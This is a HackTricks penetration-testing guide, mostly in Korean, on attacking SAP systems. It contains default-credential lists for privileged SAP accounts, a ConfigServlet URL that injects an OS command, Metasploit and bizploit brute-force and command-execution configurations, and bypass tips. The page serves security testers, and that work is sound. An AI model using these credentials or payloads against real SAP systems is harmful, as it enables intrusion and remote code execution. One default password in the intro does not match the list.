hacktricks/network-services-pentesting/pentesting-sap.md

328 lines
25 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# SAP에 대한 소개
SAP는 데이터 처리의 시스템 응용 프로그램 및 제품을 의미합니다. 정의상 SAP는 ERP \(Enterprise Resource Planning\) 소프트웨어의 이름이자 회사의 이름입니다.
SAP 시스템은 비즈니스 관리의 거의 모든 측면을 포괄하는 여러 개의 완전히 통합된 모듈로 구성됩니다.
각 SAP 인스턴스 \(또는 SID\)는 데이터베이스, 애플리케이션 및 프레젠테이션의 세 가지 계층으로 구성되며, 각 환경은 일반적으로 개발, 테스트, QA 및 프로덕션의 네 개 인스턴스로 구성됩니다.
각 계층은 어느 정도 악용될 수 있지만, **데이터베이스를 공격하는 것이 가장 큰 효과를 얻을 수 있습니다.**
각 SAP 인스턴스는 클라이언트로 나뉘어 있습니다. 각 클라이언트는 사용자 SAP\*를 가지고 있으며, 이는 애플리케이션의 "루트"에 해당합니다.
초기 생성 시, 이 사용자 SAP\*는 기본 비밀번호 "060719992"를 받습니다 \(아래에 더 많은 기본 비밀번호가 있습니다\).
테스트 또는 개발 환경에서 이러한 **비밀번호가 얼마나 자주 변경되지 않는지 알면 놀랄 것입니다!**
사용자 이름 &lt;SID&gt;adm을 사용하여 서버의 셸에 접근해 보세요.
브루트포싱이 도움이 될 수 있지만, 계정 잠금 메커니즘이 있을 수 있습니다.
# 발견
> 다음 섹션은 주로 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)에서 사용자 shipcod3의 내용입니다!
* 테스트를 위해 애플리케이션 범위 또는 프로그램 개요를 확인하세요. SAP GUI에 연결하기 위한 호스트 이름 또는 시스템 인스턴스를 기록해 두세요.
* OSINT \(open source intelligence\), Shodan 및 Google Dorks를 사용하여 애플리케이션이 인터넷에 노출되거나 공개된 경우 파일, 서브도메인 및 유용한 정보를 확인하세요:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)의 모습은 다음과 같습니다.
![SAP 로그인 화면](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* nmap을 사용하여 열린 포트와 알려진 서비스(sap 라우터, webdnypro, 웹 서비스, 웹 서버 등)를 확인합니다.
* 웹 서버가 실행 중인 경우 URL을 크롤링합니다.
* 특정 포트에 웹 서버가 있는 경우 디렉토리를 퍼징합니다(버프 인트루더를 사용할 수 있습니다). 기본 SAP ICM 경로 및 기타 흥미로운 디렉토리나 파일을 찾기 위해 SecLists 프로젝트에서 제공하는 몇 가지 좋은 워드리스트는 다음과 같습니다:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* SAP 인스턴스/서비스/구성 요소를 열거하기 위해 SAP SERVICE DISCOVERY 보조 Metasploit 모듈을 사용합니다:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
## Testing the Thick Client / SAP GUI
Here is the command to connect to SAP GUI
`sapgui <sap server hostname> <system number>`
* 기본 자격 증명 확인 \(In Bugcrowds Vulnerability Rating Taxonomy, this is considered as P1 -&gt; Server Security Misconfiguration \| Using Default Credentials \| Production Server\):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Wireshark를 실행한 후, SSL 없이 자격 증명을 전송하는 클라이언트(SAP GUI)에 자격 증명을 사용하여 인증합니다. SAP DIAG 프로토콜에서 사용되는 주요 헤더를 해석할 수 있는 두 가지 알려진 Wireshark 플러그인이 있습니다: SecureAuth Labs SAP 해석 플러그인과 Positive Research Center의 SAP DIAG 플러그인입니다.
* 낮은 권한 사용자를 위한 일부 SAP 트랜잭션 코드(tc) 사용과 같은 권한 상승을 확인합니다:
* SU01 - 사용자 생성 및 유지 관리
* SU01D - 사용자 표시
* SU10 - 대량 유지 관리
* SU02 - 프로필 수동 생성
* SM19 - 보안 감사 - 구성
* SE84 - SAP R/3 권한을 위한 정보 시스템
* 클라이언트에서 시스템 명령을 실행하거나 스크립트를 실행할 수 있는지 확인합니다.
* BAPI Explorer에서 XSS를 수행할 수 있는지 확인합니다.
# 웹 인터페이스 테스트
* URL을 크롤링합니다(발견 단계 참조).
* 발견 단계처럼 URL을 퍼징합니다. [http://SAP:50000/index.html](http://sap:50000/index.html)의 모습은 다음과 같습니다:
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* 일반적인 웹 취약점(OWASP Top 10 참조)을 확인합니다. 일부 장소에는 XSS, RCE, XXE 등의 취약점이 있습니다.
* 웹 취약점 테스트를 위한 Jason Haddix의 [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)를 확인합니다.
* 동사 변조를 통한 인증 우회? 아마도 :)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`를 열고 “Choose” 버튼을 클릭한 후 열린 창에서 “Search”를 누릅니다. SAP 사용자 목록을 볼 수 있어야 합니다(취약점 참조: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)).
* 자격 증명이 HTTP를 통해 제출되었나요? 그렇다면 Bugcrowd의 [취약점 평가 분류](https://bugcrowd.com/vulnerability-rating-taxonomy)에 따라 P3로 간주됩니다: 손상된 인증 및 세션 관리 | HTTP를 통한 약한 로그인 기능. 힌트: [http://SAP:50000/startPage](http://sap:50000/startPage) 또는 로그인 포털도 확인하세요 :)
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* 가능한 디렉토리 목록 또는 인증 우회를 위해 `/irj/go/km/navigation/`를 시도합니다.
* [http://SAP/sap/public/info](http://sap/sap/public/info)에는 유용한 정보가 포함되어 있습니다:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```
# Attack!
* Windows 2000과 같은 오래된 서버나 기술에서 실행되는지 확인하십시오.
* 가능한 익스플로잇 / 공격을 계획하십시오. SAP 발견을 위한 많은 Metasploit 모듈(보조 모듈)과 익스플로잇이 있습니다:
```text
msf > search sap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* SAP 포털에서 오래된 “SAP ConfigServlet 원격 코드 실행”과 같은 알려진 취약점 \(Exploit-DB 확인\)이나 공격을 사용해 보십시오:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* Discovery 단계에서 bizploit 스크립트의 `start` 명령을 실행하기 전에 취약점 평가를 수행하기 위해 다음을 추가할 수 있습니다:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
# Other Useful Tools for Testing
* [PowerSAP](https://github.com/airbus-seclab/powersap) - SAP 보안을 평가하기 위한 Powershell 도구
* [Burp Suite](https://portswigger.net/burp) - 디렉토리 퍼징 및 웹 보안 평가를 위한 필수 도구
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP 네트워크 프로토콜 패킷을 생성하기 위한 Python 라이브러리
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - nmap이 SAP/ERP를 탐지하는 데 도움을 줌
## References
* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploit을 반자동화하기 위한 스크립트
* [SAP NetWeaver ABAP 보안 구성 3부: 애플리케이션 접근을 위한 기본 비밀번호](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [SAP 보안과 관련된 ABAP 트랜잭션 코드 목록](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [SAP 포털 해킹](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [가장 흥미로운 SAP 취약점 및 공격 10가지](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Bizploit을 통한 SAP 생태계 보안 평가: 발견](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}